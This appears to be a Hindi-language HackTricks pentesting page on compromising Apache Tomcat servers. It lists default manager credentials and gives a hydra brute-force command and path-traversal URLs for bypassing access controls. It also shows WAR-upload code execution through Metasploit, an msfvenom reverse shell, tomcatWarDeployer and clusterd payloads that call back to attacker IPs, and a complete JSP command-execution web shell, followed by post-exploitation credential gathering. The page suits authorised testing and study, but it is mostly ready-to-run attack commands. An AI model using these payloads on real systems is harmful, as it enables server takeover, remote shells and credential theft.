Tomcat

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

Try Hard सुरक्षा समूह


खोज

  • यह आम तौर पर पोर्ट 8080 पर चलता है

  • सामान्य टॉमकैट त्रुटि:

गणना

संस्करण पहचान

अपाचे टॉमकैट का संस्करण खोजने के लिए, एक सरल कमांड को निष्पादित किया जा सकता है:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

प्रबंधक फ़ाइलें स्थान

/manager और /host-manager निर्देशिकाओं के सटीक स्थानों की पहचान महत्वपूर्ण है क्योंकि उनके नाम बदल दिए जा सकते हैं। इन पृष्ठों को खोजने के लिए ब्रूट-फ़ोर्स खोज की सिफारिश की जाती है।

उपयोगकर्ता गणना

Tomcat संस्करण 6 से पुराने संस्करणों के लिए उपयोगकर्ता नामों की गणना संभव है:

msf> use auxiliary/scanner/http/tomcat_enum

डिफ़ॉल्ट क्रेडेंशियल्स

/manager/html निर्दिष्ट रूप से संवेदनशील है क्योंकि यह WAR फ़ाइलों को अपलोड और डिप्लॉय करने की अनुमति देता है, जो कोड क्रियान्वयन की ओर ले जा सकता है। इस निर्देशिका को बुनियादी HTTP प्रमाणीकरण द्वारा सुरक्षित किया गया है, जिसमें सामान्य क्रेडेंशियल्स शामिल हैं:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

इन क्रेडेंशियल्स का परीक्षण करने के लिए निम्नलिखित का उपयोग किया जा सकता है:

msf> use auxiliary/scanner/http/tomcat_mgr_login

एक और महत्वपूर्ण निर्देशिका है /manager/status, जो टॉमकैट और ओएस संस्करण प्रदर्शित करता है, जो भेद्यता पहचान में सहायक होता है।

ब्रूट फोर्स हमला

मैनेजर निर्देशिका पर ब्रूट फोर्स हमला करने के लिए, निम्नलिखित का उपयोग किया जा सकता है:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

सामान्य सुरक्षा गड़बड़ियाँ

पासवर्ड बैकट्रेस डिस्क्लोज़र

/auth.jsp तक पहुंचने से भाग्यशाली परिस्थितियों में पासवर्ड को बैकट्रेस में प्रकट कर सकता है।

डबल URL एन्कोडिंग

mod_jk में CVE-2007-1860 वंशांकन में डबल URL एन्कोडिंग पथ ट्रावर्सल की अनुमति देती है, जिससे विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुंच सकती है।

तोमकैट के प्रबंधन वेब तक पहुंचने के लिए जाएं: pathTomcat/%252E%252E/manager/html

/उदाहरण

एपाच तोमकैट संस्करण 4.x से 7.x में उदाहरण स्क्रिप्ट शामिल हैं जो सूचना फुटान और क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों के लिए संवेदनशील हैं। ये स्क्रिप्ट, सूचीबद्ध रूप से, अनधिकृत पहुंच और संभावित शोषण के लिए जांचे जाने चाहिए। अधिक जानकारी यहाँ पाएं

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

पथ ट्रावर्सल शोषण

कुछ तोमकैट की वंशांकन विन्यास में आप /..;/ पथ का उपयोग करके तोमकैट में संरक्षित निर्देशिकाओं तक पहुंच सकते हैं।

इसलिए, उदाहरण के लिए, आप तोमकैट प्रबंधक पृष्ठ तक पहुंच सकते हैं: www.vulnerable.com/lalala/..;/manager/html

इस चाल का उपयोग करके संरक्षित पथों को छलकरने का एक और तरीका यह है कि http://www.vulnerable.com/;param=value/manager/html

RCE

अंततः, यदि आपके पास तोमकैट वेब एप्लिकेशन प्रबंधक तक पहुंच है, तो आप .war फ़ाइल अपलोड और डिप्लॉय (कोड का क्रियान्वयन) कर सकते हैं।

सीमाएँ

आप केवल तभी WAR डिप्लॉय कर पाएंगे अगर आपके पास पर्याप्त विशेषाधिकार हैं (भूमिकाएँ: व्यवस्थापक, प्रबंधक और प्रबंधक-स्क्रिप्ट). ये विवरण आम तौर पर /usr/share/tomcat9/etc/tomcat-users.xml में परिभाषित होते हैं (संस्करणों के बीच भिन्न हो सकते हैं) (देखें POST खंड)।

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. डिप्लॉय करने के लिए war बनाएं:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. revshell.war फ़ाइल अपलोड करें और इस तक पहुँचें (/revshell/):

tomcatWarDeployer.py के साथ बाइंड और रिवर्स शैल

कुछ स्थितियों में यह काम नहीं करता है (उदाहरण के लिए सन के पुराने संस्करणों में)

डाउनलोड

git clone https://github.com/mgeeky/tomcatWarDeployer.git

रिवर्स शैल

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

बाइंड शैल

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Culsterd का उपयोग करें

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

मैन्युअल विधि - वेब शैल

index.jsp बनाएं और इस सामग्री के साथ:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

मैन्युअल विधि 2

एक JSP वेब शैल जैसे यह प्राप्त करें और एक WAR फ़ाइल बनाएं:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

टॉमकैट क्रेडेंशियल्स फ़ाइल का नाम tomcat-users.xml है।

find / -name tomcat-users.xml 2>/dev/null

टॉमकैट क्रेडेंशियल्स जुटाने के अन्य तरीके:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

अन्य टॉमकैट स्कैनिंग टूल

संदर्भ

Try Hard Security Group

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated